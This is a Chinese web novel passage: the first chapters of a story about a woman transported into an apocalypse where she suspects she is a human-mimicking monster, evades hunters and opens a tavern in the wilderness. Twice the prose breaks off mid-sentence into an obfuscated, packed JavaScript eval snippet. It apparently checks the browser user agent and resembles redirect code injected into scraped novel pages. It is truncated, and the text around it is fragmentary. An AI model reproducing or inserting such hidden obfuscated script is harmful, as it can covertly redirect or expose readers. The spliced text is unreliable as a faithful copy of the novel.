《伪人在末世开酒馆[基建]》 1. 伪人 宁筠是在火车鸣笛的那一刻醒来的。 “求求你们让我上车吧!” “我只是被咬了一下,他们都可以上车,凭什么我不可以!” 她迷迷糊糊地眯起眼睛,等到再睁开时,长满铁锈的车门无情关闭,将无数声喧嚣隔绝窗外。 这已经不是第一次了。 在三天前,火车上满满当当坐了一车人,发动时,还有人怕打着窗户,祈求着不要把他们扔上车。 宁筠是在车门关闭的那一刻穿越了过来。 当时的她正沉迷基建游戏,刚要搭上最后一块砖瓦,一个写着“末日生存游戏”的广告弹了出来,没反应过来的她点了进去。 紧接着手机爆发一段光芒,再能看清东西时,她就到了车上。 不愧是末世生存游戏,短短三天,让宁筠体会到了什么叫忍饥受饿、勾心斗角。仅仅是说错了一句话,或为了一块面包,就会招致同伴的攻击、背叛。 这种剑拔弩张的氛围,直到他们通过了一个金属探测仪后才消散。 “欢迎各位探索者回归人类基地,列车即将启动,请坐好扶稳。” 随着列车的启动,安静的车厢多了几分人气,有人接水,吃东西,也有些窃窃私语声。 三天的紧绷生活让宁筠有些疲惫,她站起身,走向列车上唯一一个卫生间。 走到长廊时,身后的灯光忽然恍惚了一下,将宁筠的影子模糊了一瞬,再清晰时,影子似乎变得更加高大、魁梧。 宁筠似无所觉,那只影子就一直跟随着,直到宁筠进了卫生间。 “你叫宁筠,对吗?” 在卫生间洗手的宁筠一顿,将目光转向门外。 声音很熟悉,她听到过这人的声音。 这三天里,这人没少祸害其他纯良女生,列车上的女性不足离开前的三分之一,他的功劳占大半。 透过一丝预留的缝隙中,有个黑漆漆的影子,将走廊上的灯光全部遮住,将卫生间与列车隔出一条真空线。 “你哥哥也在这列车上,我是他朋友。“它循循诱导,说:“你把门开一下,我带你找他,好不好?” 原主的哥哥在两天前就已经死了,为了保护她这个换了壳的“妹妹”,死在她的面前。 哥哥死的第二天,她才通过原主的记忆中知道这件事。 宁筠锁上了门,却见到上面的门把手自己动了起来,轴承处传来“咔哒”一声。 一股极冷的寒意窜上她的背,似乎与原主的情绪深处共鸣,她窥探到了记忆深处的恐惧。 她在害怕这人,又或者说,她在害怕这人背后的身份——伪人。 这种奇异物种会将人杀死,模仿人类的习性,幻化成人类的模样,继续挑选下一个猎物,是危险的物种。 也是末日的根源。 并不是没有应对办法,比如他们刚刷过脸的金属探测仪,就可以过滤掉95%的伪人。而剩下的5%高级伪人,则会常常会趁机混在车厢,挑选待宰的羔羊。 这个概率很低,低到一个上千人的车厢,也仅仅会有个位数的人会被找上门。 宁筠很欧皇,千分之几的概率也能命中。 伪人进了门,手掌攀上她的肩,不安分地动了动。他仰起头,自脖颈之上裂开了一个缝隙,里面满是细细密密的锯齿,原本的头还在说话。 “你看起来很乖啊,和你哥哥一样,要不要在临死前陪爷玩玩?” 下一刻,一根粗重的棒球棒照着它的脑袋袭来,被它侧身躲开,紧接着一把尖利的刀子划破它的心脏,它反倒是不躲了,任凭宁筠将刀子扎了进去,从刀上借着力,一口咬上了她的脖子。 宁筠惊险地翻身躲过,又在它身上扎了几刀,却像是扎在了棉花上,甚至连脚步都无法阻止。 列车似乎碰到了什么,整个车体剧烈摇晃了一下,宁筠抓住洗手池,费力地稳住身形。 对面那个人就没那么好运了。它的体型庞大,身上的肉都堆到了腹部,双腿反而难以支撑。 它跌倒在地上。 宁筠抓住这次机会,推着匕首没入它的身体里。 或许这人的脂肪太厚,她推起来分外用力,指尖泛着白,才勉强推进了几分,鲜血喷涌而出。 专注着给它致命一击的宁筠没注意到,它动作突然停顿了一下,在空气中嗅闻着什么。 它浑浊的眼珠转了一下,说:“你是伪人。” 宁筠刚要抬起手中的匕首,听到这句话时,瞬间一愣。 可来不及细想,一声尖叫刺破了她的耳膜。 这才发现,门外不知何时站着个女孩,一脸惊恐,卫生间的门敞开,将房间内的血腥暴露无遗。 惊动了整坐车厢。 列车长赶到时,就看到了一个娇弱的女生,将一个魁梧大汉绑在了卫生间。 很难想象,一个看起来弱不禁风的女生,居然打赢了200多斤的胖子,而那女生看起来还游刃有余,指尖摩挲着匕首,目光凶狠得像是要再捅几刀。 事实上宁筠只是在发呆,还有点摸不着头脑的慌。 “她是伪人!!她要杀了我!!”壮汉怒吼了一声,四肢挣扎起来。 周围没人信他。 壮汉显然更加诡异。胸上被捅了几刀,正中心脏,如果列车的窗户能开,他的血能顺着刀伤迸溅三米远。 都这个惨样了还活蹦乱跳的,鬼能信。 列车长穿过头对宁筠说:“刀是没办法杀死伪人的。”他掏出一把泛着蓝色金属光芒的枪,上了膛,“用这个。” “砰。” 还在挣扎求生的壮汉断了气。 宁筠眨了下眼睛,表面上应了一声,然后悄悄在衣袖上擦拭掉手上沾染的血液,继续装作面无表情的样子。 列车长收起了枪,“跟我来。” 经过了几个长长的无人车厢,他们停留在金属门的面前,列车长输入指令,将她带了进去。 这是个比原车厢还要破败许多的车厢。灯是坏的,座位上的棉絮都飞了出来,窗户上“呜呜”的风声,似乎还漏着风。 吹得宁筠头皮发麻,心也凉凉的。 她可能真的是伪人。 大概是同类相吸、臭味相投,她在看到壮汉的第一眼就觉得不对劲,所以才会在卫生间找了武器,专门等着他。 在卫生间时,她同样察觉到了很多和壮汉一样,不对劲的人。 而在这个车厢里,那种感觉更明显了。明明每人都隔了好几个座位的距离,但其中有几个,一打眼就能让宁筠觉得不对劲。 这事不能细想。 她悄悄远离那几个人,找了个偏僻的座位,等待列车到站。 与基地外的荒芜凄凉不同,基地围着一圈铁质围墙,一眼看不到头,也看不到多高,只是隐隐能从围墙内露出的小尖上,窥得一丝星光。 列车在围墙外面就停了下来。 车门开启,有乘客陆陆续续下了车,而列车长仍坐在车头处,似乎没有开门的意思。 有人坐不住了,频繁地起身、走动,直到起身的人越来越多,他才不紧不慢地说了句:“你们是最后一批,等着。” 宁筠只能跟着坐下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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做完这一套后,她紧闭双眼,觉得这辈子应该就折到这了。 直到被人从背后推了一把,她才睁开眼睛,目光所及之处,皆是璀璨的绿色灯光,在几乎可以忽略不计的余光上,她似乎看到了一截蔚蓝色的衣袖。 他道:“可以走了。” 在与那人侧身而过时,她瞥见了制服上面小小的徽章。 一级猎人,沈枫。 在她有限的记忆中,这个徽章出现过很多次。 最强猎人、基地守护者,神一般的存在。有他在的地方,伪人不会出没。 宁筠心想,自己或许不是伪人? 凭借着记忆回到了家中,宁筠路上又顺手给自己买了本名叫《基地基础知识》的科普书。 她翻开了书,上面写着第一条:基地并不是绝对安全的,请警惕身边的人。 第二条:伪人行凶间隔时间为三天,遇到伪人行凶请不要害怕,寻求猎人帮助。 第三条:家里闯入伪人,请立即寻求猎人帮助。 …… 总结几十条里,里面就一句话最有用——有事找猎人。 但她觉得现在对她威胁最大的,就是猎人。 宁筠将书扔了,冲洗掉身上的血污,就睡了过去。 在她睡着的期间,基地门口那只她检测过的金属探测仪,爆发出有史以来最耀眼的红色光芒。 2. 酒馆 觉没睡到一半,一阵紧急的敲门声将宁筠惊醒。 "麻烦你跟我们走一趟。"猎人出示了手中的证件,然后晃了晃手上的银色手铐,威胁意味很明显。 这么紧急的态度,一度让宁筠以为自己的身份暴露了,但很快她就发现,同样被抓来的还有几个人。她们一起坐在车内,恐惧、无助等压抑的氛围弥漫车内。 能让处于末世之下的人们恐惧,只可能是末世本身。 宁筠无缘由想到了那本基地小知识。 【基地并不是绝对安全的。】 是了。无论她是不是伪人,基地对她来说都不安全。 很快,猎人将他们带到了一个广阔的区域。类似于室内的篮球场,只不过被玻璃分割成了好几间房间,里面充斥着跑道、运动器械还有一个定时的检测仪。 经过一天的了解,宁筠已经清楚,伪人会模仿人类的外貌、动作和神态,会读取人类的记忆,但伪人并不是生活了多年的人类,行动时依旧会爆发出严重的违和感。这是判断伪人的基础之一。 即使如此,每隔几天也依旧会有突击检查,经过了这么多年,周围人早已习惯了。 猎人将其他人安置好,把她拉了出来,独站在走廊一边,没有带她检测的意思。宁筠还没睡饱,于是靠着墙开始打盹。 不知何时,周围如同蚊子的嗡嗡声消失了,随之即来的是一股莫名其妙的寒意,正侵蚀着宁筠的大脑。 她闭了下眼,以为自己看错了。 那个与伪人不共戴天的一级猎人——沈枫,居然停在了她的面前。 他声音很淡,指名道姓对她说:“跟我来。” 除了沈枫之外,他的身后还站着两名身着重甲的士兵,目光冷漠,在看向宁筠时,多了许些戒备。 这个时候跑了,不是伪人也是伪人。 他们很快甩掉了队伍,走进了一个长廊,无数间办公室邻列左右,半敞着房门,里面隐隐传出人声,“你刚刚觉得哪里痛?又是怎么痛的?” 也不知道对面的人回答了些什么,枪声响起,房门处隐隐渗出血水。 紧接着周围的清洁工就迅速上场,拎着一桶又一桶的肮脏液体,办公室内又很快干净起来,下一个人再次进入办公室。 宁筠猜测这是审问疑似伪人的地方。 检测仪检测不出来,但又有异常行为的人类,就会进行第二道工序,通过临场反应判断伪人。 在即将拐弯的那一刻,宁筠突然看到个人,有些熟悉,被猎人们压入了一个房间内,紧接着,她同样被猎人们压入了隔壁。 房间里除了坐在办公桌后面的工作人员,还有个检测仪,比基地门口的仪器更加精致一些,在她踏入的那一刻亮起了黄灯。 “不愧是一级猎人。”工作人员温柔地笑了下,“我这仪器测了几万次,第一次亮了黄灯。” 沈枫:“这人确实有问题?” 工作人员看了眼宁筠,意义不明地“嗯”了一声,道:“原本黄灯的意思是接触过伪人。” 原本……按宁筠理解的意思是,设计之初是想实现这个功能的,但不知道为什么没成功,于是这个功能可能暗示着其他的意思。 宁筠眨了下眼睛,默默地后退了一步,又被不知道什么人又摁着进了房间。随着她的动作,黄灯跟闹鬼似的,连着晃了两下。 宁筠:“……” 好了,现在可以确定,她有问题。 “可以说说,你在哪里接触过伪人吗?”工作人员问。 宁筠想了想,自从穿越以来,她已经接触过几次伪人了。 第一次在列车到站,这是她第一次接触伪人,眼睁睁看着奇形怪状的人攻击他们,他们又变得奇形怪状……摸不清状况的她找角落躲了起来,幸运地活到了列车到来。 第二次是在列车上,伪人诱惑她开门,并说出了她是伪人这件事,然后被卫琛当做高危分子,直到通过检测仪才结束。 在过往的经验上来看,伪人似乎是蠢笨又危险的生物。 室内仪器滴答作响,宁筠柔和的声音不算突兀,在不暴露自己的同时,她尽可能地将事情讲清楚。 “故事讲得很棒。”工作人员笑了笑,“但黄色灯光,是伪人正模仿人类的表现。” 紧接着,她的眼睛变得犀利起来,一字一顿说:“你只字不提列车前的事情,是不想提,还是不知道?” 宁筠瞳孔一缩,猛地抬头看向工作人员,周围的温度似乎低了几个度,她听到有枪支打开保险栓的声音。 她突然意识到,工作人员为什么要这样问她了。 隔壁那个让她感觉到熟悉的人,其实是她自己。 准确来说,这人的熟悉之处在于,长得和她一模一样的身体,甚至连衣服也全然相同。 世界上没有两片相同的雪花,如果她不能证明伪人在模仿她,那么就说明她在模仿伪人。 僵持了片刻后,房间的房门被敲响,门外的人说:“测出来了,隔壁是伪人。” 猎人们放下枪涌入了隔壁。 一个长相与她相似的男性,倒在血泊之中,一双死灰色的眼睛紧紧盯着她,浑身抽动了几下后,它的脖颈裂开了一张嘴。 用脖子当嘴,好像是伪人的标配。她想。 如果她是伪人的话,脖子上会不会也有一张嘴?她摸了摸自己的脖颈,然后决定放弃思考。 太丑了。 沈枫问:“目前有伪人被模仿的经历吗?” 工作人员:“没有。至少在伪人出现的七年以来,没有任何伪人模仿伪人的先例。” 沈枫歪着头,很慢地放下了枪,用漆黑的瞳孔注视着她。 他声音很轻:“你刚刚似乎很害怕?” 宁筠没回答他。 因为她知道,伪人不是在模仿她,它是在模仿早已死亡的原主哥哥。而她在第一眼,并没有认出原主的哥哥,这是不应该的。 身后的猎人哼笑了一声,说了句什么,“哒哒”的皮鞋声音朝着与她相反的方向走去,与她渐离渐远。 在经过原来的大厅时,排队的人已经少了很多,但多了许多红白相间的黏腻物体。人们在跑道上跑、跳,溅起的血花沾染在身上,所有人像是没看到一般,机械地等绿灯亮起。 在基地外,人类的生命如同蜉蝣,不知何时就会被伪人取缔。而在基地内,人类的生命似乎也十分脆弱。 更重要的是,她还没有彻底摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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如果猎人死了,食物就成了无主之物,说是买房子,其实是买资源位置,试试能不能淘到好东西。 宁筠没说自己要在基地外居住,应了一声后,接过来老板提供的地图。 上面密密麻麻地标注了食物可能存在的位置, 经过两次的伪人袭击事件,伪人似乎并不能奈何得了她。为了保险,宁筠向老板打听了附近售卖武器的地方,然后动身。 老板很少遇到这么慷慨的买家,正美滋滋的数着钱,结果大门被一枪爆破。 来者不善,至少来的那位沉着脸。 就在宁筠离开的第三个小时,仪器再次爆发了红色光芒,说明宁筠不仅是伪人,还是个伪装得特别强的伪人。 沈枫居然看走了眼,两次。 他冷冷地问:“宁筠呢?” 老板愣了好一会儿,才意识到是刚刚的买家,他擦了脸上的汗,“去六区买武器了。” 沈枫眉心一跳,再次赶到时,被属下告知,宁筠早就赶了早上的列车,已经离城两个小时了。 一群装备优良的高素质猎人,居然被一个伪人耍得团团转。 他转头吩咐,“野外遇到宁筠,格杀勿论。” 3. 酒馆 丝毫不知道自己被追杀的宁筠,已经从列车上下了车。 在两个小时前,毫无武力的宁筠打算购买武器,却遭到武器商店的老板嘲笑。 “就你这么弱,枪放你身上都要软半天!” 商店内的猎人们哄堂大笑,无数带着恶意的眼睛,恨不得将宁筠里里外外看个通透。 “凭我在列车上制服伪人,在检测厅内协助消灭新型伪人。” 宁筠不急不缓拿出了十五万的单据,上面罗列了宁筠“见义勇为”的过程,末下角还有猎人协会专属的盖章。她微笑着:“这样能证明我的实力吗?” 虽然是唬人用的,但效果拔群。 商店内顿时安静了,众人目瞪口呆地看着她挑走了店里最好的武器,和上千颗的子弹。 在末世里,武器要比食物便宜的多。一把枪需要三千新币,一颗子弹只需要50新币,而一斤大米则需要150新币。换句话说,官方更加鼓励居民外出探索资源,自给自足。 宁筠在官方的“鼓励”之下花光了所有的新币,出了城。 老板给的地图很全面,详细地标注了可能出现伪人的区域,右上角有两颗涂黑的实心星星。 她下车的平原是一星区域,三两只聚堆的牛羊正悠闲地啃着草,四周建筑稀稀落落,看起来残破了很久,里面的东西也被搜刮的一干二净。 没什么东西,但也不能大意。 宁筠绕开建筑群,在偏僻的小路上绕了三五个弯,终于在小路交汇形成的大路上,见到了地图上的标识——酒馆。 酒馆比她想象的还要完整。 外面上挂着的广告牌,依稀可辨上面写了“今日酒水九折”这几个字样,内部的桌椅没有残破的痕迹,看样子不需要额外制作桌椅。 突兀地,她的脚步停顿了一下,极好的听力让她听到了十米外的凄惨叫声,或许是伪人找上了门。 “救命!谁来救救我!” 宁筠翻出了藏在背包里的枪,不太熟练地上了子弹,借助着打翻的桌子,一点点向酒馆外摸去。 到了门口,那种惨叫声变得清晰多了,还混合着像是呢喃的,毫无起伏的机械朗读声。 “别怕我,不是伪人。” “伪人”这两个字拖得很长,像是录音带即将破碎,哆哆嗦嗦朗诵完最后一句话一般。 与宁筠遇到的那个会诱惑她开门的伪人不同,这个伪人看起来人机感重多了,四肢各走各的,脸也扭曲着,五官像是歪斜了45度一样,怪异荒诞。 跑在前面的女生快疯了。 她一路上都走着偏僻小路,尽可能地躲着人群,谁知道居然碰到了拉屎的伪人。 一个!伪人!会拉屎! 它歪着头,中分的发缝歪到了眼睛上,她还以为是什么新发型,结果在它站起来的那一刻,才发现是它的五官歪了。 女生僵住了。 那一瞬间的头皮发麻,差点让女生直接跪下,所幸这位伪人机动性不强,足以让她从跌倒到爬起,随便挑了一条路狂奔。 没想到真让她遇到了个别墅群。 顾不得是不是陷入了新一轮的危险,她大喊着救命,希望能让本地人略施援手。 即将成为本地人的宁筠刚架好了枪,本能让她感觉到了不对。 似乎有哪里不一样了。 她抬头掠过别墅群,平淡无波的表面上,像是有什么东西长了出来,然后一点点形成了人形,正面无表情地看着女生。 它又似乎注意到了什么,隔着空荡荡的路,与宁筠的视线交汇。 是伪人。 只见女生慌不择路,正要敲着伪人所在的房子,宁筠直接开了枪。 第一枪直直打碎了别墅的玻璃,止住了女生的敲门动作,紧接着,她开了第二枪。 门外的伪人胳膊被甩飞了出去,伪人整个身躯顿了一下,但已经来不及了,它站在女生的身后,锋利的爪尖快划破女生的皮肤。 宁筠开了第三枪。 正中眉心,伪人应声倒地。 女生回过头来,与宁筠四目相对。随后,她看到酒馆上的门开了一个小缝隙,仿佛在邀请她进入。 事实上她也过去了。 室内杂乱不堪,桌子椅子被掀翻,铺上了一层厚厚的尘土,有些呛人,但对于刚经历了生死危机的女生来说,这无疑是天堂。 “谢谢你。”女生后知后觉的湿润了眼眶,声音哽咽。 宁筠刚收了枪,无意中将视线瞥向窗外,别墅里的伪人不知何时消失了。她定定地看了好几眼,记住上面的门牌号,才收回神。 紧接着她发现,女生已经自来熟地清理好一片地方,坐上去休息了。 宁筠想了想,说:“这是我家。” “您要开设酒馆吗?”女生问。 宁筠其实只是想着逃出基地,但还没想好要不要开设酒馆,听女生这么一说,就有些心动。 于是她点头,“对。” 殊不知在女生心里崇拜到了极致。 能在野外安家的都是大佬,虽说大佬的枪法差强人意,也足够在末日中生存下来,就凭着这一点,女生决定和大佬混。 “咕噜噜……” 宁筠愣了一下,意识到是自己肚子发出来的声音之后,捂着肚子,面无表情地看着女生。 然后肚子响起了第二声,第三声…… 她认命地闭了下眼,将枪放进背包里,走向厨房。 “大佬,您要去哪里?”女生连忙问着。 “做饭。”宁筠说,“不然我们喝西北风吗?” 宁筠已经一晚上没吃饭了,与猎人们的周旋早就让她精疲力尽,更别提跋山涉水走到了日上三竿,她能撑着救下女生,已经是对生命最大的尊重。 地图上标识着酒馆的酒窖——是个很不起眼的地方,在酒馆隐藏房间的地下室内,宁筠推开门,发现里面珍藏了不少陈年的美酒、新鲜的蔬菜瓜果,还有堆积成山的大米白面。 她从蔬菜里找到了几颗青菜和萝卜,又拿着袋子装了一点大米后,上了楼。 酒馆的设备齐全,厨房上锅碗瓢盆皆具,台面上整整齐齐码好了不同种调味料。看得出来原主人不太会做饭,煤气还剩大半,调味料里只有盐剩了一半,其他的还是崭新状态。 宁筠粗略地擦了下灰,就把蔬菜切成了块,随手淘了几下大米,混着蔬菜一起煮了下去。 在厨房忙忙碌碌的宁筠抬头一看,酒吧前台干净得反光,桌椅被人扶了正,整整齐齐摆在一边,她眨了几下眼睛,以为自己看错了。 “抱歉,我看你在做饭,就顺手收拾了一下。”女生低着头,声音越来越小。 谁说这顺手不好的,这顺手可太棒了。宁筠不仅希望她顺手将其他屋子收拾下,还希望她顺手在这里住下来。 但三天后列车开动,应该没有人愿意放着安全的基地不去,留在这个看起来刚刚起步的酒馆。 结果…… “看在我收拾这么勤快的份上,大佬可以收留我吗?” 女生似乎很不安,见宁筠没有立即回答她 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齐荦荦从小生活在孤儿院内,吃不好睡不好,在12岁依旧没有人愿意收养她后,她被逐出了孤儿院。 好在她运气不错,15岁那年被人捡了回家,那个衣着华贵的女人说:“好可怜啊,跟我们回家吧,我们缺一个女儿,你要当我的女儿吗?” 具体的细节早已模糊了,她只记得,女人为她买了她眼馋许久的面包,她获得了人生的第一次饱腹,第一件新衣服…… 女人对她很好,好到差点让她忘记了曾经苦难的生活,认为那就是个早已醒来的噩梦。 直到在她被收养的第二年,她收到了一张来自猎人协会的车票。 准确来说,并不是她收到的,应该收到这张票的人是她的姐姐。养父母真正的孩子。 女人和男人哄着她:“到时候你和姐姐一起上车,我们送送她,好不好?” 齐荦荦傻乎乎的信了。直到她被列车长拦下的那一刻,她才意识到,自己不过是姐姐的替身。 梦终究是醒了。 锅里汩汩沸腾着水声,蒸腾的水汽顺着吧台,混合着蔬菜粥鲜香的气味,直扑人的鼻子。 宁筠默默地听着齐荦荦的讲述,盛了些粥。 顺便给齐荦荦盛了一碗。 这碗粥代表着宁筠允许齐荦荦留下来。 齐荦荦的故事让宁筠想到了自己,她前世在孤儿院里,也没有人愿意收留她,但她比齐荦荦幸运得多,没经历过末世,也有一个工作能养活自己,不至于受人篱下。 另一方面,她确实缺一个打扫勤快的服务员。 “是你的勤快告诉我,我需要你。”宁筠笑着说。 齐荦荦指尖一顿,然后毫不客气地拿起筷子,狼吞虎咽地吞下了这碗粥,边吃边“啪嗒啪嗒”地掉着泪水,含糊不清地说:“我凭自己努力混来的!我凭努力……” 酒馆一共有二层,一层负责招待客人,二层负责住宿。 两人吃饱后,简单地收拾了下房间,将酒馆挂上了锁,确保不会有不长眼的伪人敲门后,安心地睡了过去。 第二天一早,宁筠迷迷糊糊中听到一楼吵闹的声音,还以为在末世前,刚起身关上窗户,却被一股寒意席卷了全身。 她打了个冷颤。 在楼下几个人正吵闹着此地归属的问题,可宁筠敏锐地发现,他们的队伍里混进了伪人。 4. 酒馆 这并不是一个好消息。 人越多意味着伪人越多,伪人越多会导致人越少,人越多说明人越少。 宁筠抄起枪,一步步走去。 三人吵得正欢。 “这堆别墅在以前可是富人区,怎么可能被搜刮空?”红毛声音有些不耐烦,站在酒馆门口,正要破门而入,被一旁的男生拉了回来。 矮个子男生面色犹豫:“他们都说这地方邪,我们最好还是不要去了。” 红毛啧了一声,抬着下巴,推了下队伍里最后一个人,“喂,你说说,要不要进去?” 最后这人慢慢抬起了头,与普遍光头出大佬的气势不符,脸上没什么血色,慢吞吞地说:“酒馆,不进。” 听完光头说话的红毛冷笑一声,直接踹开了酒馆的大门。 清晨的阳光刚好照在吧台上,衬得什么东西反了光。 红毛搭眼一看——枪,还是象征着猎人标志的蔚蓝色枪。 这是个拥有根据地的高级猎人。 作为中二少年,红毛特别喜欢传说消息,其中有个神神叨叨的叔叔告诉他,在野外最需要提防的不是伪人,而是拥有根据地的猎人。 他们会将一切误闯领地的生物视为敌人,不分青红皂白地杀死。 “扑通。” 红毛双脚一软,结结实实跪了个大的。 他一跪下,暴露了身后的光头,宁筠手一抖,紧接着是一声枪响。 矮子男生下意识地扑倒光头,子弹从光头的头顶穿过,直直穿过身后的树干。 “我们不是伪人,您别动手。”矮子慌乱解释。 宁筠不言,拉动了枪上的保险栓,手指扣在了扳机上,慢慢对准光头。 枪很漂亮,宁筠握枪的姿势也很帅,如果枪口不是正对着三人小队,红毛可能还要中二的夸一句“猎人真帅”。 可惜红毛刚站起来,看到枪又跪了下去。 唯一的矮子男生硬着头皮扛起大旗,说:“我们只是路过,光头是傻的,所以看起来不大正常,他真不是伪人。” 似乎是听到了自己的名字,光头傻乎乎地笑了起来。 他看起来不大会笑,嘴巴几乎要咧到了耳根,眼睛睁得极大,瞳孔却是涣散的。 确实是傻子会做出的表情。 聪明的伪人会通过三天的伪装,混在队伍内进入列车,不聪明的伪人直接捕猎,能吃多少算多少。 原主的记忆会影响伪人的思维,聪明的伪人会避开傻子这种角色,不聪明的捕猎到了傻子,自身也会受到傻子智商影响,甚至这辈子都会忘记捕猎。 无论什么情况,光头都不太具备攻击性。 难道真是自己的错觉?宁筠抿了下唇,放下枪。 她想了想,还是决定好心提醒一下他们:“光头确实很可疑,你们最好注意一下。” 听到宁筠的话,两人对视了一眼,其中的红毛犹豫了一下,说:“他不会是伪人,也不可能是伪人。” 像是坚定自己的想法一般,他又重复了一遍。 宁筠只想在末世里苟活,真有人送死她也不会劝。便收了枪,无意中瞥了一眼吧台,忽然一愣。 昨天还空荡荡的吧台柜子,现在被酒水塞得满满当当,清澈的酒液在玻璃瓶里微微晃荡,不知哪里的酒瓶反了光,映出了二楼的房间,房门半开,露出了向外面张望的齐荦荦。 想来时昨天的随口一提,就被齐荦荦放在了心上。 在末世开酒馆也是个不错的选择。 于是宁筠开口问道:“既然不是伪人,那客人们想喝点什么吗?” 基地内的规矩很多,对于未成年们来说,最大的规矩是禁止向未成年兜售酒水,于是酒就成了小鬼们最喜欢的禁忌话题。 红毛这才注意到房间的构造,两眼放光,“得其利朗姆鸡尾酒。” 宁筠歪了下头,旁边的矮子也兴奋地叽里呱啦吐出一堆名字。 没听懂。 宁筠不喝酒,也不懂酒,但她见过猪跑,照葫芦画瓢,动起手来又快有利索,架势十分唬人。把两个中二少年忽悠瘸了,当场要拜宁筠为大师。 最后调酒大师宁筠手一扬,将两杯黑乎乎的、还冒着泡泡的酒倒在两人的杯子上。 红毛没喝过酒,也品出了几分不对劲,声音有些劈叉,“大师,这……这是酒吗?” 宁筠也陷入了沉思,她在前世看到酒保们调酒,一顿摇晃后,倒出来的酒又漂亮又清冽,怎么到她手里就变成了这样? 最终她还是决定换一杯酒,避免给刚出社会的青年一个毒打。 没想到另一旁的矮子已经吞下了肚,在众目睽睽之下,两只眼睛泛着青,“啪”的一声,脸朝上,倒在了地上。 红毛想了想,将酒给了光头,几秒钟后,光头也“啪叽”一声倒了地。 宁筠:“……” 这酒好像不大能喝。 好在是没死人。等到了傍晚,两人幽幽转醒,矮子一睁眼就对着宁筠道:“大师的酒就是给力,我就没见过劲这么大的酒!” 没死,那就是能喝。宁筠悬着的心放了下来。 末世的食物不怎么丰盛,宁筠趁着两人不知死活期间,与齐荦荦一起炖了一锅乱炖,味道还行,不至于毒倒人。 齐荦荦刚摆上碗筷,矮子吃了一口,当即“呕”了出来,连着光头一起,对着垃圾桶吐到昏天暗地。 已经盛了一碗的红毛,看到了这幅惨状,默默地将筷子放了下去。 矮子:“请问——呕——有没有——呕——卫生间?” 宁筠指了个方向,矮子立马跑开,连光头都聪明了几分,连跟着矮子一起去了卫生间。 她安慰着红毛,“大概是酒后反应,没事的。” 红毛颤抖着手,嗫嚅道:“可……可能吧,这菜能吃吗?” 别的不好说,宁筠自工作以来就自己做饭,手艺不能算多好,但养活自己是没有问题的。 她吃了一口,齐荦荦也跟着吃了下去,没什么奇怪的反应,红毛才放心下来,再次拿起了碗筷。 没过多久,矮子从卫生间出来,脸色很不好。 “韩将被伪人杀了。”他说。 宁筠目光紧紧 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矮子大惊,抱着红毛不撒手:“走马灯?我们还要护送韩将回家呢,事成之后的钱那么多,坚持住!” 怪不得两人宁死也不想承认光头是伪人,也不嫌弃他是傻子,原来是有钱拿。 “领个屁,人都死了……”红毛从马桶上直下来,一抬头,就看到矮子摇晃着光头,大片新鲜的血液又流淌下来。 “呕——” 宁筠不想理这几个沙雕,细致地观察了一遍周围。 室内除了血迹,仅剩下一连串的血脚印,蔓延到窗户处。窗户被打开了一大截,不难看出有人从这里逃出去了。 是谁杀死了伪人呢? 她刚撩起眼皮,矮子又拖着光头,一边打开水龙头一边嘟囔,“怎么有点沾手,没事,我给你洗洗——” 而红毛—— 红毛快疯了。 他一会看到矮子拿着刀,刀刀命中光头,又一会看到宁筠拿着枪,对着他的脑袋突突突。 又过了不知道多久,他眼前一黑,紧接着就不省人事了。 宁筠有点头疼。 矮子和红毛都倒了,整个卫生间安静到诡异。都怪她调出来的酒,明明是一个人的凶杀案,硬生生搞成了连环凶杀案。 一旁一直不敢吱声的齐荦荦问:“他们还活着吗?” 不知道。 反正她觉得要死了。 宁筠摇了摇头,将矮子和光头的鞋脱下,对比了下刚刚看到的血脚印。 矮子的鞋比血脚印要小一些,反倒是光头的鞋大小和花纹刚好对得上。 没人能翻窗后又顺着脚印返回现场,但有一种生物例外——伪人。它们的模仿能力极强,模仿脚印也不是稀奇事。 所以,矮子是伪人吗? 就在这时,酒馆的大门被人敲响了。 门外的人声音平淡,问:“我们是基地的人,请问可以让我们借住一晚吗?” 5. 酒馆 宁筠猛地回头,矮子不见了,水龙头下仅剩光头的尸体,汩汩地流淌着水花。 夜晚的风呼啸而过,敲门声还在继续,不轻不重,不急不缓。 门外的人又说了一声什么,宁筠没听清。紧接着,踩在草地上的声音由远及近。 有人来了。 宁筠关了灯,轻手轻脚地合上了窗,带着齐荦荦躲在立着隔断的隔间里。 透过隔断的底部,月光撒在地面,又被什么东西覆盖住。 “奇怪,刚刚还亮着灯的。” 紧接着,另一个人声响起,“还是别进去了吧,万一里面有东西呢?” “没事,就打开看一下,没人我们就进——” 声音戛然而止,随之而来的是吸气声,但很快中断了。 他们应该发现了屋子内的血迹。 “新鲜的,快走!” 有人低喝了一声,草坪的踩踏声再次响起。 走了吗?宁筠将指尖放在门把手上,正要向外探去,被齐荦荦拉住了手。 齐荦荦捂着嘴巴,眼睛里含着惊恐,对她摇了下头。 宁筠顺着齐荦荦的视线向下看去,窗户处仍有一团模糊的影子,微微晃动。 人还在。 如果说,走掉的是其中一“人”,并故意制造了两种脚步声,让她们误以为两人都离开了,那么剩下的那个“人”,就可以等待着宁筠开门的瞬间,进行捕猎。 大概率可以确定是伪人。 奇怪的是,宁筠并未觉得门外的“人”有任何不妥,语气、行为、反应都很正常,更重要的是,她未觉得有任何的奇怪感。 宁筠抿着唇,悄无声息地抓着手上的枪——当时顺手拿在手里的,没想到居然派上了用场。 屋子外,那“人”将泛着青色的脸,紧紧贴在窗户上,涣散的瞳孔左右移动,像是在寻找什么。 片刻后,它悄悄退了回来,走到另一“人”的身旁,比了个“没人”的手势。 “没人吗?”另一个人的声音很轻,“那我们走吧。” 正是矮子的声音。 下一秒,酒馆的窗户被打开,两人从窗外跳了进来。 酒馆的卫生间类似于瘫痪前的商场卫生间,每一个坑位上都隔了一层隔断,导致过道狭窄,不足以支撑两个人并排通过。 